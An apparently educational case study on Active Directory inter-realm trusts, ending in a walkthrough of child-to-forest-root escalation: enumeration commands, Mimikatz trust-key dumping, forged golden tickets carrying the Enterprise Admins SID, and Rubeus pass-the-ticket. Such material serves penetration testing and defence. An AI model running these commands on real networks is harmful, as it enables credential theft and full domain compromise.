Case Study - Active Directory Inter-Realm Trust
intro
A domain trust grants the ability for a user in domain A to authenticate or act as a principal in domain B. To understand how inter-realm trust works, we need to first understand some basic concepts of Active Directory structures.
Active Directory Structure and Domain Trust
AD service is a distributed database that stores and manages information about network resources and application data from directory-enabled applications. Objects of a network can be Users, Computers and Devices. Objects can be organized in a hierachical collection of containers (a.k.a Logical Structure). The top-level logical container in this hierachy is the forest. Domain containers are inside the forest, organizational units are within the domains. Information are presented as Logical Structure to the users.
Forest (A forest is a complete instance of Active Directory)
|---> Domain (Domains are a collection of administratively defined objects that share a common directory database, security policies, and trust relationships with other domains.)
|---> Organizational Units (You use these container objects to arrange other objects in a manner that supports your administrative purposes.)
To establish a trust between two domains, a trust path
is used to determine the trust relationship between a Domain Controller (DC) for the server/resource that receives the request and a DC in the domain of the requesting account.
Domain A Domain B
\ DC-A \ DC-B
|------Trust Path--------|
Every service in the domain must have a direct trust path to a DC. The trust path implementation is done through the NetLogon service making a RPC connection to the DC. Inter-Domain trust relationship can be established by establishing a secure channel, which is used to obtain and verify security information such as SIDs for users and groups.
Each domain or forest trust within an organization is represented by a Trusted Domain Object (TDO) stored in the System container within its domain. Both domains in a trust relationship share a password (a trust key), which is stored in the TDO object in Active Directory.
When a user wants to access a Service Principal Name (SPN) of a resource in a foreign domain, the DC will return a referral ticket pointing to the Key Distribution Center (KDC, i.e DC) of the foreign domain. The referral ticket (Ticket Granting Service Reply, TGS-REP) includes the user’s Ticket Granting Ticket (TGT), and the TGS-REP is signed with the Inter-Realm Trust Key, not the domain’s krbtgt account. This referral ticket is known as “Inter-Realm TGT”. The foreign domain verifies the Inter-Realm TGT by decrypting it with the Inter-Realm Trust Key and follow the rest of the Kerberos flows.
Domain A -------------Inter-Realm Trust Key------------ Domain B
UserA TGT
|---> encrypt(TGT, TrustKey)
|------------------------------> decrypt(TGS-REP, TrustKey)
|---> Kerberos flow
Note: Domain B doesn’t verify UserA’s identity, because it trusts that it has been verified by Domain A.
Type of Trusts
- Parent/Child: inside the same forest, a child domain retains an implicit two-way transitive trust with its parent.
- Cross Link: like a shortcut between child domains.
- External: created between disparate domains, non-transitive
- Forest: trust between ForestA’s root domain and ForestB’s root domain, transitive Note:
- A transitive trust extends trust relationships to other domains; a nontransitive trust does not extend trust relationships to other domains.
- A trust can be one-way or bidirectional (i.e two one-way trusts joint)
Attacking Domain Trust
Common Attack Strategy
Attacking domain trust often follows certain stages
- Enumerate for domain trust relationships and their trust direction
- Enumerate for users/groups/resources that exist in both domains and how they are mapped in the target domain
- Build an attack graph and execute the attack
Common tools for enum
- SharpHound: https://github.com/BloodHoundAD/SharpHound
- PowerView: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Domain Trust Enumeration
The global catalog is a partial copy of all objects in a forest. Therefore, some object properties are stored in it. This data is replicated to all DCs as global catalogs for the forest.
# Run on a compromised server in Domain A
> SharpHound.exe -c All --zipfilename output.zip
# Run on a compromised server in Domain A
> Get-DomainTrust
# Mapping Domain Trusts
> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
SourceName : child.corp.local
TargetName : corp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 6/18/2024 3:55:05 PM
SourceName : corp.local
TargetName : child.corp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 2/1/2024 2:35:13 AM
# similarly, can get the same result
> Get-DomainTrustMapping
# to get foreign group member of a child domain
> Get-DomainForeignGroupMember -Domain child.corp.local
GroupDomain : child.corp.local
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=child,DC=corp,DC=local
MemberDomain : corp.local
MemberName : Enterprise Admins
MemberDistinguishedName : CN=Enterprise Admins,CN=Users,DC=corp,DC=local
SID History
SID History is an attribute that supports migration scenarios. Every user account has an associated Security IDentifier (SID) which is used to track the security principal and the access the account has when connecting to resources. SID History enables access for another account to effectively be cloned to another and is extremely useful to ensure users retain access when moved (migrated) from one domain to another.
A non-sensitive account in a domain can contain the Enterprise Admin SID in its SID History from another domain in the Active Directory forest, thus “elevating” access for the user account to an effective Domain Admin in all domains in the forest.
The Enterprise Admin SID
often ends with -519
The implication of this is: with Mimikatz’s kerberos::golden
module, an attacker with the equivalent rights of a “Domain Administrator” (or accounts with DCSync rights) in a child domain of a forest can retrieve the krbtgt hash of the child domain. The /sids
parameter can be used to include the SID of the Enterprise Admins
in the forest root into the ticket without having to mess with the AD database. This would lead to the compromise of the forest root.
Note: this technique only works for trusts within a forest.
Exploiting Inter-Realm Trust
Continue with the Inter-Realm Trust Key
, because a trusting domain would blindly trust that the user’s identity has been verified in a trusted domain, if the hash fo the key is obtained, a referral ticket can be forged to allow an attacker impersonating as any valid user in the requesting domain. In conjunction with the SIDHistory concept above, an attacker can pretend to be an Enterprise Admin
this way.
Domain A -------------Inter-Realm Trust Key------------ Domain B
UserA TGT
(pretend as Administrator)
|---> encrypt(TGT, TrustKey)
|------------------------------> decrypt(TGS-REP, TrustKey)
|---> Kerberos flow
(Administrator belongs to Enterprise Admin group, -519)
|---> Continue as Enterprise Admin
Attack using Mimikatz
lsadump::trust
can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets.
> mimikatz "lsadump::trust /patch" exit
- Generate a TGS-REP, pretending to be an
Enterprise Admin
in the trusting domain
> mimikatz "kerberos::golden /user:Administrator /domain:child.corp.local /sid:<sid-of-child-domain> /sids:<sid-of-target-doamin>-519 /rc4:<ntlm_hash_of_trust_key> /service:krbtgt /target:corp.local /ticket:golden.kirbi" exit
> Rubeus.exe asktgs /ticket:golden.kirbi /dc:DC01.corp.local /service:CIFS/DC01.corp.local /nowrap /ptt
- Load the ticket and access the forest root
> Rubeus.exe ptt /ticket:golden.kirbi
> dir \\DC01.corp.local\C$